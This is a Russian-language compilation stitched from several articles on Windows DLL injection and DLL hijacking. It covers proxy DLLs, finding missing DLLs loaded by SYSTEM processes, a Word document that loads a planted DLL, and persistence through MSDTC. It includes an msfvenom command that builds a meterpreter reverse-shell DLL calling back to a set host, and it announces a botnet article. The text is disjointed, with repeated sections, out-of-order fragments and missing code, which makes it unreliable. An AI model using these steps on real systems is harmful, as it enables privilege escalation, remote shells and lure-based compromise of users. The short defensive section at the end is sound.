Dll hijacking что это
Привет господа форумчане. Давненько я не писал, но ничего страшного, скоро решатся пара бытовых проблем и выпуск статей нормализуется по 2 - 3 в неделю. А сегодня, мы поговорим немного не мало о технике DLL Инъекций и рассмотрим пару примеров.
Итак что такое DLL Инъекция?
Это тип атаки, который позволяет внедрять исполняемый код из DLL в процесс (исполняемую программу), что дает возможность выполнить код от имени пользователя под которым запущен процесс.
Рассмотрим 2 вида этой техники обычную DLL Injection и Dll Hijacking , а так же чем они отличаются.
DLL Injection
Как обычно в моем стиле, сразу к делу и на практике.
Задача: Заинжектить исполняемый код в программу Paint.
Для этого немного раскрою суть атаки.
Сначала мы ищем процесс, далее выделяем память для нашей DLL,
после чего загружаем её в новый поток внутри процесса, таким образом, инжектор выполнит код от имени пользователя программы.
Создаем DLL файл со следующим кодом.
А далее напишем инжектор и разберем его по частям:
По сути основной смысл находится в этих двух методах
Полностью весь код, целиком:
DLL Hijacking
Это мы взглянули в целом на технику DLL Injection , а теперь же давайте посмотрим на DLL Hijacking .
Идея этой уязвимости заключается в особенности организации работы подхвата dll'ок. Совершенно логично, что в первую очередь при добавлении библиотеки, маперы ищут её в своей директории , и только потом в заданных настройках ОС. Таким образом мы получаем, что если мы знаем имя библиотеки, подгружаемой в утилиту, а так же существует собственно сама уязвимость dll hijacking'a, мы можем подложить нашу dll с нагрузкой в корень с утилитой.
Я перепишу код метода Main, который на на этот раз, будет архи простым, но дергать метод из другой dll библиотеки . Напишем же её.
Как мы видим, на этот раз, код оказался до боли простой, но метод ссылается на другой путь. Теперь возьмем dll из старого проекта и кинем в наш, переназвав его соответственно. Получаем ошибку о том, что не соотвествует манифест. Здесь нам поможет в исследовании утилитка dotPeek.
Загрузим в утилиту наш билд:
Но это не интересно . Всё таки нам нужно вызвать наш метод, для этого вместо DllMain воспользуемся методом IClassFactory::CreateInstance
В результате перепишем метод DLLMain на CreateInstance и снова кладем её в нашу директорию с утилитой.
Профит: Хотя мы и получаем в результате ошибку, наш код всё равно выполняется, так как инстанс создается раньше, чем система проверяет манифест.
На этом всё, всем спасибо .
P.S. Те кто ждут статью про ботнет, обязательно дождутся, в следующей статье добавим еще две команды, отрефакторим весь предыдущий код и будем запускаться с повышенными привилегиями по запросу (а в некоторых случаях и без него).
В операционной системе Windows приложения и службы при запуске ищут DLL, необходимые для их правильного функционирования. Если эти DLL не найдены или их загрузка реализована небезопасным способом (DLL вызываются без использования полного пути), то можно повысить привилегии, заставив приложение загрузить и выполнить вредоносный DLL-файл.
Следует отметить, что когда приложению необходимо загрузить DLL, то ее поиск осуществляется в следующем порядке:
- Каталог, из которого загружается приложение
- C:\Windows\System32
- C:\Windows\System
- C:\Windows
- Текущий рабочий каталог
- Каталоги в пользовательской переменной окружения PATH
- Каталоги в системной переменной окружения PATH
Шаг 1 — Процессы с отсутствующими DLL
На первом этапе необходимо найти процессы, которые работают от SYSTEM и пытаются загрузить отсутствующие DLL. Это можно сделать с помощью Process Monitor от Sysinternals, применив фильтр, указанный ниже:
Фильтры Procmon для поиска процессов, загружающих отсутствующие DLL
Process Monitor определит отсутствующие DLL, которые приложение пытается загрузить, и покажет фактический путь, по которому осуществляется поиск этой DLL.
Процесс с отсутствующей DLL
В данном примере для процесса Bginfo.exe отсутствует несколько DLL-файлов, которые могут быть использованы для повышения привилегий.
Шаг 1 — Процессы с отсутствующими DLL
На первом этапе необходимо найти процессы, которые работают от SYSTEM и пытаются загрузить отсутствующие DLL. Это можно сделать с помощью Process Monitor от Sysinternals, применив фильтр, указанный ниже:
Фильтры Procmon для поиска процессов, загружающих отсутствующие DLL
Process Monitor определит отсутствующие DLL, которые приложение пытается загрузить, и покажет фактический путь, по которому осуществляется поиск этой DLL.
Процесс с отсутствующей DLL
В данном примере для процесса Bginfo.exe отсутствует несколько DLL-файлов, которые могут быть использованы для повышения привилегий.
Второй вариант. Упрощаем написание кода
Когда имеешь дело с библиотекой типа version.dll, где таблица импорта небольшая, всего 17 функций, и прототипы простые, то честная прокси-библиотека — хороший выбор.
А вот если прокси для библиотеки, например, bcrypt, то все сложнее. Вот ее таблица импорта:
57 функций! Причем вот пара примеров прототипов:
Скажем так, нет ничего невозможного, но делать честную прокси для такой библиотеки не очень приятно.
Упростить код можно, если немного схитрить с функциями. Объявим все функции в библиотеке как __declspec(naked), а в теле — код на ассемблере, который просто сделает jmp на функцию из оригинальной библиотеки. Это позволит нам не использовать длинные прототипы, а поставить везде простые объявления без параметров вида:
Когда приложение вызовет нашу функцию, то прокси-библиотека не будет проводить никаких манипуляций с регистром и стеком, позволяя оригинальной функции делать всю работу как надо.
Пример (github) библиотеки version.dll с таким подходом.
- Загружается оригинальная библиотека, и все вызовы наших функций пробрасываются в нее. Тела функций и загрузка обернуты в макросы.
PowerSploit
Процесс подмены DLL можно сделать через PowerSploit, в котором есть три модуля, которые помогут в поиске служб с отсутствующими DLL, в обнаружении папок с правами на модификацию и в генерации DLL.
Модуль Find-ProcessDLLHijack найдет все процессы в системе, которые пытаются загрузить отсутствующие DLL.
PowerSploit — Обнаружение процессов с отсутствующими DLL
Следующим шагом будет определение папок, в которых пользователь может изменять содержимое. Будут найдены папки, в которые необходимо подбросить вредоносные DLL.
Обнаружение папок с правами на изменение
Последний шаг заключается в создании зловредной DLL в одной из папок с Modify (M) — разрешениями.
Создаем DLL в папке со слабыми разрешениями
Первый вариант. Честная прокси-библиотека
Начнем с относительно простого — сделаем честную прокси-библиотеку. Честность в данном случае подразумевает, что все функции в dll будут прописаны явно, и для каждой функции будет написан вызов функции с тем же именем из оригинальной библиотеки. Работа с такой библиотекой будет полностью прозрачна для вызываемого кода: если тот вызывает некоторую функцию, то он получит корректный ответ, результат и все, что там побочно должно произойти.
Вот ссылка на готовый пример (github) библиотеки version.dll.
Основные моменты кода:
- Все прототипы функций из таблицы экспорта оригинальной библиотеки честно описаны.
- Загружается оригинальная библиотека и все вызовы наших функций пробрасываются в нее.
Небольшой теоретический обзор
Загрузка библиотек чаще происходит с помощью функции LoadLibrary, в которую передается имя библиотеки. Если вместо имени передать полный путь, то приложение попытается загрузить именно указанную библиотеку. Например, вызов LoadLibrary(“C:\Windows\system32\version.dll”) приведет к загрузке именно указанной dll. Или, если библиотека не будет существовать, то не будет загружена.
Если в приложение уже загружена некоторая dll, то повторно она не будет загружаться. Учитывая, что именно version.dll загружается при старте почти любого exe-файла, то на самом деле вызов выше реально ничего не загрузит. Но мы все же рассматриваем общий случай, рассматривайте пример как вызов некоторой абстрактной библиотеки.
Совсем другое дело, если написать LoadLibrary(“version.dll”). В обычной ситуации результат будет ровно такой же, как в предыдущем случае — загрузится C:\Windows\system32\version.dll, но не все так просто.
Сначала будет произведен поиск библиотеки, который пойдет в следующем порядке:
- Папка с исполняемым файлом
- Папка C:\Windows\System32
- Папка C:\Windows\System
- Папка C:\Windows
- Папка, установленная как текущая для приложения
- Папки из переменной окружения PATH
При запуске 32-битных приложений в 64-битной системе все обращения C:\Windows\system32 будут пробрасываться к C:\Windows\SysWOW64. Это просто для точности описания, с точки зрения атакующего разница не особо важна.
При запуске exe-файла ОС загружает все библиотеки из секции импорта файла. В общем смысле можно считать, что ОС принуждает файл к вызову LoadLibrary, передавая все те имена библиотек, которые написаны в секции импорта. Поскольку в 99,9% случаев там именно имена, а не пути, то при старте приложения все загружаемые библиотеки будут искаться в системе.
Из списка мест поиска dll реально нам важны два пункта — 1 и 6. Если мы подложим version.dll в ту же папку, откуда запускается файл, то вместо системного будет загружен именно подложенный. Такая ситуация практически не встречается, поскольку, если есть возможность подложить библиотеку, то, скорее всего, есть возможность и заменить сам исполняемый файл. Но все же такие ситуации возможны. Например, если исполняемый файл находится в доступной для записи папке и является сервисом с автостартом, то его нельзя изменить пока сам сервис работает. Или запускаемый файл перед стартом проверяется извне по контрольной сумме, то заменять файл все равно не вариант. А вот положить библиотеку рядом — будет вполне реально.
Возможно, нельзя создавать файлы рядом с исполняемы файлом, но можно создавать папки. В такой ситуации может сработать механизм WinSxS redirect (aka “DotLocal”).
Но и это скорее исключение, нежели правило. А вот ситуации, когда поиск dll доходит до 6 номера в списке — вполне реальны. Если приложение попытается загрузить dll, которой нет в системе или рядом с файлом, то все поиски будут доходить до 6 пункта, в котором, потенциально, могут оказаться доступные для записи папки.
Например, типовая установка Python чаще всего происходит в папку C:\Python (или близкую). Сам установщик питона предлагает добавить свои папки в системную переменную PATH. В итоге имеем хороший плацдарм для начала атаки — папка доступна для записи всем пользователям и любая попытка загрузить несуществующую библиотеку дойдет до поиска в путях из PATH.
Теперь, когда теория пройдена, рассмотрим создание полезной нагрузки — самих прокси-библиотек.
Четвертый вариант. Возьмем готовые утилиты
Писать dll это хорошо, но не всегда удобно и не очень быстро, поэтому стоит рассмотреть автоматизированные варианты.
Можно пойти по пути старых вирусов — взять библиотеку, прокси которой хотим сделать, создать в ней исполняемую секцию кода, записать туда полезную нагрузку и поменять точку входа на эту секцию. Не самый простой способ, потому что можно что-то сломать ненароком, придется писать на ассеблере, вспоминать устройство PE-файла. Это не наш путь.
Для эксплуатации dll hijack мы добавим еще один dll hijack.
Сделать это относительно просто. Скопируем библиотеку, прокси которой хотим сделать, и добавим в таблицу импорта этой копии какую-то dll с произвольной функцией. Теперь загрузка пойдет по цепочке — при старте исполняемого файла будет загружена прокси-dll, которая сама загрузит указанную библиотеку.
«Хей, ты же заменил загрузку одной библиотеки другой. В чем смысл? Все равно надо будет кодить dll!». Все правильно, но смысл все же есть. Теперь к библиотеке с полезной нагрузкой будет меньше требований. Имя можно задать любое, главное экспортировать всего одну функцию, у которой может быть любой прототип. Главное имя библиотеки и функции вписать в таблицу импорта.
А библиотека с полезной нагрузкой может быть одна на все случаи жизни.
Заключение
Для возможности повышения привилегий через подмену DLL должны быть выполнены следующие условия:
Исполняемый код компонента должен быть оформлен в виде библиотеки .dll (на самом деле не всегда, но для данной задачи можно упростить). Ссылка на библиотеку содержится в подключе InprocServer32 ключа реестра, соответствующего компоненту.
А что же приложения MS Office? Кроме того, что они тоже под завязку нашпигованы технологией COM (и даже сами являются COM-объектами), они еще и позволяют создавать/читать документы, содержащие элементы ActiveX.
Фактически такой документ представляет собой файл, содержащий (помимо текста, изображений, форматирования и т.п.) идентификатор компонента и некоторую информацию о свойствах встраиваемого объекта. Давайте посмотрим, как это выглядит на практике.
Открываем MS Word. Если у вас не подключена вкладка «Developer»/«Разработчик», необходимо подключить ее в настройках: File->Options->Customize Ribbon, Файл->Параметры->Настроить ленту, Файл->Параметры Word->Показывать вкладку «Разработчик» на ленте и т.п., в зависимости от того, какая версия MS Office у вас установлена.
Переходим во вкладку «Разработчик» и выбираем кнопку с молотком и гаечным ключом «Инструменты из предыдущих версий».
Затем похожую кнопку «Другие элементы управления».
В появившемся окне выберите ActiveX компонент по своему вкусу, мне нравится Microsoft Forms 2.0 Command Button.
Если открыть реестр и поискать по имени компонента, можно обнаружить, что CLSID нашего контрола
, а библиотека, содержащая его исполняемый код — FM20.DLL.
Что же будет представлять собой документ, который мы создали? Давайте сохраним его и посмотрим.
Формат .docx это всем известный ZIP. Распаковываем любой подходящей утилитой.
Архив содержит несколько папок с файлами. Нам нужен word\activeX\activeX1.xml
Открываем его обычным текстовым редактором и видим примерно такое содержимое.
Как видно, CLSID элемента управления присутствует и легко может быть заменен.
Теперь нужно сказать пару слов о том, на что, собственно, его можно заменить, а также о том, что такое dll hijacking, и почему это все работает.
Все дело в том, что, прочитав идентификатор из документа, MS Word передаст его системе, система прежде всего попытается подгрузить библиотеку в память процесса и вызвать из нее первые функции (DllMain, DllGetClassObject, IClassFactory::CreateInstance и т.д.). И только после этого приложение начнет выяснять, что это за библиотека, что за компонент, можно ли добавлять его в документ, и нужно это ему вообще. Запросто может оказаться, что компонент не подходит по каким-то критериям, но это выясняется уже после того, как его исполняемый код оказался в виртуальной памяти процесса и получил управление. Он не будет выгружен даже после того, как MS Word точно установил, что ему этот класс не нужен! Такое поведение приводит к целому ряду любопытных явлений, в том числе — к описываемому в данной заметке.
Теперь о dll hijacking. «Угон динамической библиотеки» — обычное, изначальное и даже в чем-то логичное поведение приложения Windows, когда оно ищет необходимую ему библиотеку в той директории, которая является для него текущей, и только затем — в определяемых настройками ОС местах. Все бы было ничего, если бы злоумышленники довольно скоро (и довольно давно) не догадались, что можно положить рядом с документом или ярлыком собственную библиотеку с таким же названием, как и у
библиотеки, которую ожидает найти приложение.
Вообще-то этой технике уже много лет, Microsoft борется с ней давно, упорно, и, как можно видеть, до сих пор не вполне результативно.
На этот раз исследователи обнаружили затерянные в недрах операционной системы Windows 7 несколько dll, которые подгружают другие dll, и ищут их — до сих пор! — в текущей директории процесса. Эти Microsoft'ом забытые оснастки для консоли управления, присадки для Oracle'а и что-то еще столь же известное и часто используемое — оказались еще и COM-классами. Которые, как вы уже догадались, мы можем встроить в обычный документ MS Office.
Вернемся к нашему MS Word и поменяем CLSID в распакованном документе на любой удобный из отчета
Parvez Anwar. Например, на первый — .
Запакуем документ (при необходимости переименуем его обратно в .docx).
Теперь нам нужна собственная dll под именем elsext.dll. Неважно, на чем вы ее создадите, главное, чтобы она имела ту же разрядность, что и пакет MS Office, была способна к загрузке, и вы могли бы добавить свой код в DllMain или DllGetClassObject. Я возьму старый добрый VC6 — у меня 32хбитный офис.
Осталось положить нашу elsext.dll в одну директорию (можно в общей сетевой папке) с модифицированным документом и попросить пользователя этот документ открыть/прочитать.
Еще один момент: с dll hijacking, как вы помните, Microsoft борется. Поэтому при запуске MS Word меняет текущую директорию на «Документы» текущего пользователя. К сожалению (или к счастью) при вызове приложения для открытия документа (например, двойным щелчком в explorer) MS Word сначала пытается открыть документ со всеми вытекающими последствиями, и только потом изменяет свою текущую директорию на «Документы». Отсюда вытекает тот факт, что наша dll будет подгружена только в том случае, если пользователь открыл документ двойным щелчком, и MS Word не был до этого запущен (иначе загрузится elsext.dll из system32).
Когда я исследую безопасность ПО, то одним из пунктов проверки является работа с динамическими библиотеками. Атаки типа DLL hijack («подмена dll» или «перехват dll») встречаются очень редко. Скорее всего, это связано с тем, что и разработчики Windows добавляют механизмы безопасности для предотвращения атак, и разработчики софта аккуратнее относятся к безопасности. Но тем интереснее ситуации, когда целевое ПО уязвимо.
Если описать атаку коротко, то DLL hijack — это создание ситуации, в которой некоторый исполняемый файл пытается загрузить dll, но атакующий вмешивается в этот процесс, и вместо ожидаемой библиотеки происходит работа со специально подготовленной dll с полезной нагрузкой от атакующего. В результате код из dll будет исполнен с правами запускаемого приложения, поэтому в качестве цели обычно выбираются приложения с более высокими правами.
Чтобы загрузка библиотеки прошла корректно, необходимо выполнить ряд условий: битность исполняемого файла и библиотеки должна совпадать и, если библиотека загружается при старте приложения, то dll должна экспортировать все те функции, которые это приложение ожидает импортировать. Часто одного импорта мало — очень желательно, чтобы приложение продолжило свою работу после загрузки dll. Для этого необходимо, чтобы у подготовленной библиотеки функции работали так же, как и у оригинальной. Реализовать это проще всего, просто передавая вызовы функций из одной библиотеки в другую. Вот именно такие dll называют прокси-dll.
Под катом будет несколько вариантов создания таких библиотек — как в виде кода, так и утилитами.
Заключение
В статье я постарался раскрыть основные способы создания прокси-dll, которыми пользовался сам. Осталось только рассказать, как защищаться.
Универсальных рекомендаций не так много:
- Не храните исполняемые файлы, особенно запускаемые с высокими правами, в папках доступных для записи пользователям.
- Лучше сначала найти и проверить существование библиотеки, прежде чем делать LoadLibrary.
- Посмотрите на существующие способы защиты, доступные в ОС. Например, в Windows 10 можно задать флаг PreferSystem32 чтобы поиск dll начинался не с папки с исполняемым файлом, а с system32.
UPD: По советам комментаторов напоминаю о том, что выбирать библиотеку нужно аккуратно и внимательно. Если бибилиотека входит в список KnownDlls или имя похоже на MinWin (ApiSetSchema, api-ms-win-core-console-l1-1-0.dll — вот это вот все), то скорее всего перехватить ее не удастся из-за особенносей обработки таких dll в ОС.
Когда программа запускается, несколько DLL загружаются в область памяти ее процесса. Windows ищет библиотеки DLL, необходимые для процесса, просматривая системные папки в определенном порядке. Перехват порядка поиска может использоваться в сценариях «красных» для определения возможности
Кроме того, в отчетах показаны распространенные вредоносные программы, которые пытаются маскироваться под DLL, отсутствуя в процессе Windows, чтобы выполнить произвольный код и остаться скрытыми. Плоскость атаки в отношении кражи DLL огромна и зависит от версии операционной системы и установленного программного обеспечения. Однако некоторые из наиболее заметных, которые можно использовать в Windows 7 и Windows 10, описаны в этой статье.
MSDTC
The Distributed Transaction Coordinator - это служба Windows, отвечающая за координацию транзакций между базами данных (SQL Server) и веб-серверами. При запуске этой службы пытается загрузить следующие три DLL-файлы из System32.
Они определены в следующем разделе реестра:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI
Ключ реестра - oci.dll
В установках Windows по умолчанию « oci.dll » отсутствует в папке System32. Это дает возможность внедрить в эту папку произвольную библиотеку DLL с таким же именем (требуются права администратора) для выполнения вредоносного кода. Утилита Metasploit «msfvenom» может генерировать файлы DLL, которые будут содержать полезную нагрузку.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.13 LPORT=8888 -f dll > pentestlab.dll
Создать произвольную DLL
Службу координатора распределенных транзакций можно запустить из службы Windows или выполнив следующую команду из оболочки с повышенными привилегиями:
net start msdtc
Служба координатора распределенных транзакций
Когда процесс запускается, запускается произвольная DLL, и открывается сеанс Meterpreter с привилегиями сетевой службы.
Meterpreter - oci DLL
Просмотр процесса «msdtc.exe» в Process Explorer проверит, что DLL была загружена в процесс.
Process Explorer - oci.dll
Разрешения могут быть изменены на Администратора, если из командной строки с повышенными правами выполняется следующее.
msdtc -install
Выполнение «getuid» из сеанса Meterpreter проверит, что процесс, который он сейчас выполняет под «pentestlab», является локальным администратором.
msdtc - привилегии администратора
Служба «msdtc» не настроена на запуск при загрузке по умолчанию, поскольку тип запуска установлен на «Ручной». Конфигурирование службы для автоматического запуска при загрузке загрузит произвольную DLL и создаст постоянство в системе.
Persistence – Distributed Transaction Coordinator
который является техникой, основанной на загрузке произвольных библиотек DLL из процесса Windows, в которых отсутствуют определенные библиотеки DLL. Microsoft System Information Tool отвечает за сбор информации об оборудовании, программном обеспечении и компонентах системы. В современных версиях Windows, таких как 8.1 и 10, этот процесс пытается загрузить недостающую DLL из System32, которая называется «fveapi.dll». Установка в этот каталог вредоносной библиотеки DLL с таким же именем приведет к загрузке библиотеки DLL в процесс «msinfo32.exe».
msinfo - Process Explorer
Сеанс Meterpreter с PID 4496 дочерним процессом «msinfo32.exe».
Narrator
Microsoft Narrator - это приложение для чтения с экрана для сред Windows. Адам обнаружил, что DLL, связанная с настройками локализации, отсутствует (MSTTSLocEnUS.DLL) и может также использоваться для выполнения произвольного кода. DLL отсутствует в следующем месте:
При запуске процесса «Narrator.exe» в этот процесс загружается DLL, как это видно из Process Explorer.
Шаг 3 — Подмена DLL
С помощью Metasploit можно сгенерировать DLL с полезной нагрузкой в виде сеанса с привилегиями службы.
Генерация вредоносной DLL
Процесс Bginfo.exe запущен под SYSTEM, поэтому после перезапуска у вредоносной DLL будут такие же привилегии, так как DLL загружается и выполняется этим процессом.
Процесс запущен под SYSTEM
Как было указано выше, процесс не может найти Riched32.dll , поэтому pentestlab.dll необходимо переименовать в Riched32.dll . Это запутает приложение, и оно попытается загрузить DLL, поскольку думает, что это легитимная DLL. Вредоносную DLL необходимо поместить в одну из папок, в которых Windows ищет DLL-файлы.
Вредоносная DLL переименована и размещена
Как видно ниже, при перезапуске службы с помощью подмены DLL открывается сессия Meterpreter с привилегиями SYSTEM.
Metasploit – Эскалация привилегий через подмену DLL
Шаг 2 — Разрешения на папки
Если программное обеспечение установлено в каталог C:\ вместо C:\Program Files , то по умолчанию у аутентифицированных пользователей будет доступ на запись в этот каталог. Кроме того, такое программное обеспечение как Perl, Python, Ruby и т. п. обычно добавляется в переменную PATH. Это дает возможность повышения привилегий, так как пользователь может записать в данный каталог вредоносную DLL, которая будет загружена при следующем запуске процесса и получить права этого процесса.
Слабые разрешения на папку
Третий вариант. Выкидываем тело вообще
Использование naked наводит на мысли еще об одном варианте. Можно создать таблицу импорта, которая для всех функций будет ссылаться на одну реальную строчку кода:
Такая библиотека будет загружена приложением, но не будет работать. При вызове любой из функций будет, скорее всего, порван стек или случится еще какая-то гадость. Но это не всегда и плохо — если, например, цель dll-инъекции просто запустить код с нужными правами, то достаточно исполнить полезную нагрузку из DllMain прокси-библиотеки и тут же тихо завершить работу приложения. В таком случае до реального вызова функций дело не дойдет и ошибок-падений не появится.
Пример на гитхабе, опять для version.dll.
Основные моменты кода:
- Все функции из def-файла ссылаются на одну nop-функцию.
Читайте также: